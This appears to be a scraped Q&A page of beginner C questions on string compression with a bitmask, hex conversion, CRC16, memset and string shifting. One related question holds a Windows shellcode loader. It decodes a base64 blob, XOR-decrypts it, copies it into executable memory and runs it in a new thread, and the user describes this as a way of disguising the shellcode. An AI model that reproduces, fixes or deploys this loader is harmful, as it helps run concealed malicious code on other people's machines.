Here is the question, write a produre
void compress(char *str, char mask)
that compress the string according to the specified 8- bit mask. for example, if str is
The quick red fox jumped
and the binary representation of mask is
10110011
the resulting value of str would be
Th ickrefoxjued
This result is determined by duplicating the mask for every group of eight characters and eliminating characters masked by a 0 bit:
The quick red fox jumped
101100111011001110110011
Note: the string being compress might bot be a multiple of eight characters in length, as it is in this example.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void compress(char *, unsigned char);
int main()
{
unsigned char mask = 179;
char *str;
str = malloc(100 * sizeof(char));
scanf("%s", str);
compress(str, mask);
return 0;
}
void compress(char *str, unsigned char mask)
{
float len = strlen(str);
int times;
if (len / 8 > (int)(len / 8))
{
times = (int)(len / 8 + 1);
}
for (int i = 0; i < times; i++)
{
mask = mask << 8 | 0263;
}
unsigned bit = 1u << (8 * times);
for (char *p = str; *p; p++)
{
for ( ; bit ; bit >>= 1)
{
if ((bit & mask) > 0)
{
printf("%c", *p);
}
}
}
}
This is my code, I the output is not what I want, can someone help thx.
This will fix your issue (change compress function as follow):
#include <iostream>
#include <string.h>
void compress(char *str, unsigned char mask)
{
// And as others said You can avoid using strlen
//int len = strlen(str);
//for(int i=0;i<len;i++)
for(int i=0;str[i];i++)
{
if(((mask >> (7 - (i%8))) & 0x01))
printf("%c", str[i] );
}
}
int main()
{
unsigned char mask = 179;
char *str;
str = (char*)malloc(100 * sizeof(char));
fgets(str, 100,stdin);
compress(str, mask);
return 0;
}
I've used fgets instead of scanf because scanf does not read space.
The quick red fox jumped
Te ickrefoxjued
Related
I am trying to create a shellcode by integrating XOR encryption and Base64 encoding. However, I have a problem. Base64 decoder that I found outputs char array but I need unsigned char array because all the rest of the algorithm is created for unsigned char array. I added my code below. Can you suggest a solution?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"
/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );
int main() {
PVOID lclbuff;
HANDLE thrd;
int i;
//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
char myb64[1840];
unsigned char nw[1840];
b64_decode(mysrc, myb64);
printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
//However, It must reside inside an unsigned char array, as occurs in the output above.
//The output above must be turned into unsigned char array which is 'nw'. What can I do?
char key1[] = "elma";
char key2[] = "armut";
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key2[i % strlen(key2)];
}
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key1[i % strlen(key1)];
}
lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, sizeof(nw));
thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
WaitForSingleObject(thrd, INFINITE);
return 0;
}
// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.
/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
unsigned char in[3];
int i, len = 0;
int j = 0;
b64dst[0] = '\0';
while(clrstr[j]) {
len = 0;
for(i=0; i<3; i++) {
in[i] = (unsigned char) clrstr[j];
if(clrstr[j]) {
len++; j++;
}
else in[i] = 0;
}
if( len ) {
encodeblock( in, b64dst, len );
}
}
}
/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
unsigned char out[4];
out[0] = in[0] << 2 | in[1] >> 4;
out[1] = in[1] << 4 | in[2] >> 2;
out[2] = in[2] << 6 | in[3] >> 0;
out[3] = '\0';
strncat(clrstr, out, sizeof(out));
}
void b64_decode(char *b64src, char *clrdst) {
int c, phase, i;
unsigned char in[4];
char *p;
clrdst[0] = '\0';
phase = 0; i=0;
while(b64src[i]) {
c = (int) b64src[i];
if(c == '=') {
decodeblock(in, clrdst);
break;
}
p = strchr(b64, c);
if(p) {
in[phase] = p - b64;
phase = (phase + 1) % 4;
if(phase == 0) {
decodeblock(in, clrdst);
in[0]=in[1]=in[2]=in[3]=0;
}
}
i++;
}
}
/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
unsigned char out[5];
out[0] = b64[ in[0] >> 2 ];
out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
((in[2] & 0xc0) >> 6) ] : '=');
out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
out[4] = '\0';
strncat(b64str, out, sizeof(out));
}
I am trying to convert an array of chars into an array of hexadecimal numbers.
Each char in the input array will be converted to two chars that represent the corresponding hexadecimal number.
This is my input:
char input[3] = "over";
This would be the output:
char output[6] = "6f766572";
How can I achieve this conversion in C without libraries? Thanks in advance.
My code is currently as follows:
void convert(char *input, int inputsize) {
char c;
char output[inputsize * 2];
for (int i = 0; i < inputsize; i++) {
c = input[i]
// change c to hex here
// put each letter of the hex into output[i * 2] and output[i * 2 + 1]
}
}
Create a loop running until it finds \0 in the input buffer.
For each character number [i] in the input string, mask out the upper and lower nibble of that byte. Make sure to use unsigned types.
Run each of the two nibbles through a lookup table such as const char HEX_LOOKUP [16] = "0123456789ABCDEF";, where the value of the nibble is used as index.
Store the result in output index [i*2] and [i*2+1], since the output will be exactly twice as large as the input.
Null terminate the output string.
If you don't wanna use library functions, you'll have to build a simple lookup table yourself:
#include <stdio.h> // only for printing the result
const char table[] = "0123456789abcdef";
int main(void) {
char src[5 + 1] = "hello";
char dst[5 * 2 + 1];
char *s, *d;
for (s = src, d = dst; *s != '\0'; s++, d += 2) {
const unsigned char lo = *s & 0xf;
const unsigned char hi = *s >> 4;
*d = table[hi];
*(d + 1) = table[lo];
}
*d = '\0';
puts(dst);
return 0;
}
You can try this one:
void toHex(const char *in, int len, char *out)
{
for(int i = 0; i < len; i++)
{
sprintf(&out[i * 2], "%x", in[i]);
}
}
int main(int argc, const char * argv[])
{
char input[] = "over";
char output[32];
memset(output, 0, sizeof(output));
toHex(input, sizeof(input), output);
puts(output);
return 0;
}
I am trying to use this code to compute CRC16 bypass. For regular characters it works but for a hex sequence like 0xA0 0x00 0x01 0x01 it fails, not returning the correct value. Go easy on me, usually I do not write C code.
#include <stdio.h>
#include <string.h>
unsigned short CalculateCRC(unsigned char* a_szBuffuer, short a_sBufferLen){
unsigned short usCRC = 0;
for (short j = 0; j < a_sBufferLen; j++)
{
unsigned char* pucPtr = (unsigned char *)&usCRC;
*(pucPtr + 1) = *(pucPtr + 1) ^ *a_szBuffuer++;
for (short i = 0; i <= 7; i++)
{
if (usCRC & ((unsigned short) 0x8000))
{
usCRC = usCRC << 1;
usCRC = usCRC ^ ((unsigned short) 0x8005);
}
else
usCRC = usCRC << 1;
}
}
return (usCRC);
}
void append(char* s, char c)
{
int len = strlen(s);
s[len] = c;
s[len+1] = '\0';
}
int main() {
char d = (char)0xA0;
char d1 = (char)0x00;
char d2 = (char)0x01;
char d3 = (char)0x01;
char sss[256]="";
append(sss, d);
append(sss, d1);
append(sss, d2);
append(sss, d3);
unsigned char* uCB1 = (unsigned char*)sss;
unsigned short CRC= CalculateCRC(uCB1,4);
printf("CRC = %i\n", CRC);
printf("%s\n", sss);
printf("%x\n", CRC);
}
strlen(s); is for finding the length of a string, not for finding the length of a character array that is used, especially if it that may contain '\0'. #Eugene Sh.
Code needs to keep track of the array size used with another variable.
// void append(char* s, char c) {
void append(char* s, size_t *sz, char c) {
s[*sz] = c;
(*sz)++;
}
...
size_t size = 0;
append(sss, &size, d);
append(sss, &size, d1);
append(sss, &size, d2);
append(sss, &size, d3);
unsigned char* uCB1 = (unsigned char*)sss;
unsigned short CRC= CalculateCRC(uCB1, size);
// printf("%s\n", sss);
write a loop to print each `sss[]`.
I'm trying to implement a version of memset to write a word at a time instead of byte-by-byte.
The code I'm currently working with is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* set in memory one word at a time
dest: destination
ch: the character to write
count: how many copies of ch to make in dest */
void wmemset(char *dest, int ch, size_t count) {
long long int word; // 64-bit word
unsigned char c = (unsigned char) ch; // explicit conversion
int i, loop, remain;
for (i = 0, word = 0; i < 8 ; ++i) {
word |= ((long long int)c << i * 8);
}
loop = count / 8;
remain = count % 8;
for (i = 0; i < loop; ++i, dest += 8) {
*dest = word; // not possible to set 64-bit to char
}
for (i = 0; i < remain; ++i, ++dest) {
*dest = c;
}
}
int main() {
char *c;
c = (char *) malloc(100);
wmemset(c, 'b', 100);
for (int i = 0; i < 100; i++)
printf("%c", c[i]);
}
I thought the 64-bit word would overflow to the rest of the byte of the pointer but it doesn't seem so.
How do I set one word at a time?
EDIT: added a few more comments and added main function.
I have a little tiny trouble with implementing a shift. Here is the idea of what I'm trying to do:
Given a string of number like 012345, given a specific condition, the sequence will shift from
012345
001234.Can somebody show me why the code didn't work and how can I fix this.
for(int a = i; a < (strlen(input)); a++)
if (a < strlen(input) - 2)
{
holder = key[a+1];
key[a+1] = key[a];
key[a+2] = holder;
}
}
To shift right a string you can do:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
void shift_r_str (char *string, size_t len, uint8_t shift);
int main(void)
{
char input[] = "012345";
shift_r_str(input, strlen(input), 1);
printf("Shifted: %s\n", input);
shift_r_str(input, strlen(input), 2);
printf("Shifted: %s\n", input);
}
void shift_r_str (char *string, size_t len, uint8_t shift)
{
size_t i;
if (len < shift)
{
shift = len;
}
for (i=len-1; ((i>0) && (i>=shift)); i--)
{
string[i] = string[i-shift];
}
for (i=0; i<shift; i++)
{
string[i] = '0';
}
}
Output will be:
Shifted: 001234
Shifted: 000012